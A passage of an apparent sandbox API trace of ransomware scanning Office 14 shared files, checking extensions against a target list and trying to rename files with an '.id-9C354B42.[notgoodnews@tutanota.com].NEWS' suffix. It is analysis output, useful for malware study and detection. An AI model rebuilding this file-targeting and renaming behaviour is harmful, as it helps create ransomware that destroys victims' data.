(lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0215.820] lstrlenW (lpString=".zip") returned 4 [0215.820] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0215.820] lstrlenW (lpString=".rar") returned 4 [0215.820] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0215.820] lstrlenW (lpString=".bz2") returned 4 [0215.821] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0215.821] lstrlenW (lpString=".7z") returned 3 [0215.821] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0215.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0215.821] lstrlenW (lpString=".dbf") returned 4 [0215.821] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0215.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0215.821] lstrlenW (lpString=".1cd") returned 4 [0215.821] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0215.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0215.821] lstrlenW (lpString=".jpg") returned 4 [0215.821] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0215.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0215.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0215.822] lstrlenW (lpString=".doc") returned 4 [0215.822] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0215.823] lstrlenW (lpString=".docx") returned 5 [0215.823] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0215.823] lstrlenW (lpString=".pdf") returned 4 [0215.823] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0215.823] lstrlenW (lpString=".xls") returned 4 [0215.823] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0215.823] lstrlenW (lpString=".xlsx") returned 5 [0215.823] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0215.823] lstrlenW (lpString=".ppt") returned 4 [0215.823] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0215.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0215.823] lstrlenW (lpString=".zip") returned 4 [0215.824] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0215.824] lstrlenW (lpString=".rar") returned 4 [0215.824] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0215.824] lstrlenW (lpString=".bz2") returned 4 [0215.824] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0215.824] lstrlenW (lpString=".7z") returned 3 [0215.824] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0215.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0215.824] lstrlenW (lpString=".dbf") returned 4 [0215.824] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0215.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0215.825] lstrlenW (lpString=".1cd") returned 4 [0215.826] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0215.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0215.826] lstrlenW (lpString=".jpg") returned 4 [0215.826] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0215.827] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0215.827] lstrlenW (lpString="xlsrvintl.dll") returned 13 [0215.828] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0215.831] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2deff1c | out: lpFileSize=0x2deff1c*=105344) returned 1 [0215.831] CloseHandle (hObject=0x338) returned 1 [0215.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll")) returned 0x20 [0215.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0215.831] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0216.125] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0216.125] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0216.125] lstrlenW (lpString=".doc") returned 4 [0216.126] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0216.127] lstrlenW (lpString=".docx") returned 5 [0216.127] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0216.127] lstrlenW (lpString=".pdf") returned 4 [0216.127] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0216.127] lstrlenW (lpString=".xls") returned 4 [0216.127] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0216.127] lstrlenW (lpString=".xlsx") returned 5 [0216.127] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0216.127] lstrlenW (lpString=".ppt") returned 4 [0216.127] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0216.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0216.129] lstrlenW (lpString=".zip") returned 4 [0216.129] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0216.129] lstrlenW (lpString=".rar") returned 4 [0216.129] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0216.129] lstrlenW (lpString=".bz2") returned 4 [0216.129] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0216.129] lstrlenW (lpString=".7z") returned 3 [0216.129] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0216.129] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0216.129] lstrlenW (lpString=".dbf") returned 4 [0216.129] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0216.130] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0216.131] lstrlenW (lpString=".1cd") returned 4 [0216.131] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0216.131] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0216.131] lstrlenW (lpString=".jpg") returned 4 [0216.131] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0216.131] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0216.131] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0216.131] lstrlenW (lpString=".doc") returned 4 [0216.132] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0216.132] lstrlenW (lpString=".docx") returned 5 [0216.132] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0216.132] lstrlenW (lpString=".pdf") returned 4 [0216.132] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0216.132] lstrlenW (lpString=".xls") returned 4 [0216.132] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0216.132] lstrlenW (lpString=".xlsx") returned 5 [0216.132] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0216.133] lstrlenW (lpString=".ppt") returned 4 [0216.133] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0216.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0216.133] lstrlenW (lpString=".zip") returned 4 [0216.133] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0216.133] lstrlenW (lpString=".rar") returned 4 [0216.133] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0216.133] lstrlenW (lpString=".bz2") returned 4 [0216.133] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0216.133] lstrlenW (lpString=".7z") returned 3 [0216.133] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0216.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0216.133] lstrlenW (lpString=".dbf") returned 4 [0216.133] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0216.134] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0216.134] lstrlenW (lpString=".1cd") returned 4 [0216.134] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0216.134] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0216.134] lstrlenW (lpString=".jpg") returned 4 [0216.134] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0216.135] lstrcmpiW (lpString1=".DLL", lpString2=".NEWS") returned -1 [0216.135] lstrlenW (lpString="ACEES.DLL") returned 9 [0216.135] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0216.462] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2deff1c | out: lpFileSize=0x2deff1c*=1012648) returned 1 [0216.462] CloseHandle (hObject=0x304) returned 1 [0216.463] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll")) returned 0x20 [0216.463] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0216.463] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0216.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0216.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0216.465] lstrlenW (lpString=".doc") returned 4 [0216.465] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0216.466] lstrlenW (lpString=".docx") returned 5 [0216.467] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0216.467] lstrlenW (lpString=".pdf") returned 4 [0216.467] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0216.467] lstrlenW (lpString=".xls") returned 4 [0216.467] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0216.467] lstrlenW (lpString=".xlsx") returned 5 [0216.467] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0216.467] lstrlenW (lpString=".ppt") returned 4 [0216.467] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0216.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0216.468] lstrlenW (lpString=".zip") returned 4 [0216.468] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0216.468] lstrlenW (lpString=".rar") returned 4 [0216.468] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0216.468] lstrlenW (lpString=".bz2") returned 4 [0216.469] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0216.469] lstrlenW (lpString=".7z") returned 3 [0216.469] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0216.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0216.469] lstrlenW (lpString=".dbf") returned 4 [0216.469] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0216.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0216.469] lstrlenW (lpString=".1cd") returned 4 [0216.469] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0216.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0216.470] lstrlenW (lpString=".jpg") returned 4 [0216.470] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0216.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0216.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0216.470] lstrlenW (lpString=".doc") returned 4 [0216.470] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0216.470] lstrlenW (lpString=".docx") returned 5 [0216.470] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0216.470] lstrlenW (lpString=".pdf") returned 4 [0216.470] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0216.470] lstrlenW (lpString=".xls") returned 4 [0216.471] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0216.471] lstrlenW (lpString=".xlsx") returned 5 [0216.471] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0216.471] lstrlenW (lpString=".ppt") returned 4 [0216.471] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0216.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0216.472] lstrlenW (lpString=".zip") returned 4 [0216.472] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0216.472] lstrlenW (lpString=".rar") returned 4 [0216.472] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0216.472] lstrlenW (lpString=".bz2") returned 4 [0216.472] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0216.472] lstrlenW (lpString=".7z") returned 3 [0216.472] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0216.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0216.473] lstrlenW (lpString=".dbf") returned 4 [0216.473] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0216.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0216.473] lstrlenW (lpString=".1cd") returned 4 [0216.473] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0216.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0216.473] lstrlenW (lpString=".jpg") returned 4 [0216.473] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0216.475] lstrcmpiW (lpString1=".DLL", lpString2=".NEWS") returned -1 [0216.475] lstrlenW (lpString="MSO.DLL") returned 7 [0216.477] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0217.638] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2deff1c | out: lpFileSize=0x2deff1c*=25417600) returned 1 [0217.638] CloseHandle (hObject=0x324) returned 1 [0217.639] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll")) returned 0x20 [0217.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0217.835] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0 [0217.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 63 [0217.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 63 [0217.837] lstrlenW (lpString=".doc") returned 4 [0217.837] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0217.837] lstrlenW (lpString=".docx") returned 5 [0217.837] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0217.837] lstrlenW (lpString=".pdf") returned 4 [0217.838] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0217.838] lstrlenW (lpString=".xls") returned 4 [0217.838] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0217.838] lstrlenW (lpString=".xlsx") returned 5 [0217.838] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0217.838] lstrlenW (lpString=".ppt") returned 4 [0217.838] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0217.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 63 [0217.838] lstrlenW (lpString=".zip") returned 4 [0217.838] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0217.838] lstrlenW (lpString=".rar") returned 4 [0217.839] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0217.839] lstrlenW (lpString=".bz2") returned 4 [0217.839] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0217.839] lstrlenW (lpString=".7z") returned 3 [0217.839] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0217.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 63 [0217.839] lstrlenW (lpString=".dbf") returned 4 [0217.839] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0217.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 63 [0217.839] lstrlenW (lpString=".1cd") returned 4 [0217.839] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0217.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 63 [0217.840] lstrlenW (lpString=".jpg") returned 4 [0217.840] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0217.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 63 [0217.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 63 [0217.841] lstrlenW (lpString=".doc") returned 4 [0217.841] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0217.841] lstrlenW (lpString=".docx") returned 5 [0217.841] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0217.841] lstrlenW (lpString=".pdf") returned 4 [0217.841] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0217.841] lstrlenW (lpString=".xls") returned 4 [0217.841] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0217.841] lstrlenW (lpString=".xlsx") returned 5 [0217.841] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0217.842] lstrlenW (lpString=".ppt") returned 4 [0217.842] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0217.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 63 [0217.842] lstrlenW (lpString=".zip") returned 4 [0217.842] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0217.843] lstrlenW (lpString=".rar") returned 4 [0217.843] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0217.843] lstrlenW (lpString=".bz2") returned 4 [0217.843] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0217.843] lstrlenW (lpString=".7z") returned 3 [0217.843] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0217.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 63 [0217.843] lstrlenW (lpString=".dbf") returned 4 [0217.844] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0217.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 63 [0217.844] lstrlenW (lpString=".1cd") returned 4 [0217.844] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0217.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 63 [0217.844] lstrlenW (lpString=".jpg") returned 4 [0217.844] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0217.845] lstrcmpiW (lpString1=".EXE", lpString2=".NEWS") returned -1 [0217.845] lstrlenW (lpString="MSOXMLED.EXE") returned 12 [0217.845] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmled.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0218.390] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x2deff1c | out: lpFileSize=0x2deff1c*=121168) returned 1 [0218.390] CloseHandle (hObject=0x288) returned 1 [0218.391] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmled.exe")) returned 0x20 [0218.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmled.exe.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0218.490] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmled.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0218.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE") returned 68 [0218.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE") returned 68 [0218.542] lstrlenW (lpString=".doc") returned 4 [0218.542] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0218.542] lstrlenW (lpString=".docx") returned 5 [0218.543] lstrcmpiW (lpString1=".docx", lpString2="D.EXE") returned -1 [0218.543] lstrlenW (lpString=".pdf") returned 4 [0218.543] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0218.543] lstrlenW (lpString=".xls") returned 4 [0218.543] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0218.543] lstrlenW (lpString=".xlsx") returned 5 [0218.543] lstrcmpiW (lpString1=".xlsx", lpString2="D.EXE") returned -1 [0218.543] lstrlenW (lpString=".ppt") returned 4 [0218.543] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0218.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE") returned 68 [0218.543] lstrlenW (lpString=".zip") returned 4 [0218.544] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0218.544] lstrlenW (lpString=".rar") returned 4 [0218.544] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0218.544] lstrlenW (lpString=".bz2") returned 4 [0218.544] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0218.544] lstrlenW (lpString=".7z") returned 3 [0218.544] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0218.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE") returned 68 [0218.544] lstrlenW (lpString=".dbf") returned 4 [0218.544] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0218.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE") returned 68 [0218.545] lstrlenW (lpString=".1cd") returned 4 [0218.545] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0218.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE") returned 68 [0218.545] lstrlenW (lpString=".jpg") returned 4 [0218.545] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0218.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE") returned 68 [0218.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE") returned 68 [0218.545] lstrlenW (lpString=".doc") returned 4 [0218.545] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0218.546] lstrlenW (lpString=".docx") returned 5 [0218.546] lstrcmpiW (lpString1=".docx", lpString2="D.EXE") returned -1 [0218.546] lstrlenW (lpString=".pdf") returned 4 [0218.546] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0218.546] lstrlenW (lpString=".xls") returned 4 [0218.546] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0218.546] lstrlenW (lpString=".xlsx") returned 5 [0218.546] lstrcmpiW (lpString1=".xlsx", lpString2="D.EXE") returned -1 [0218.546] lstrlenW (lpString=".ppt") returned 4 [0218.546] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0218.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE") returned 68 [0218.547] lstrlenW (lpString=".zip") returned 4 [0218.547] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0218.547] lstrlenW (lpString=".rar") returned 4 [0218.547] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 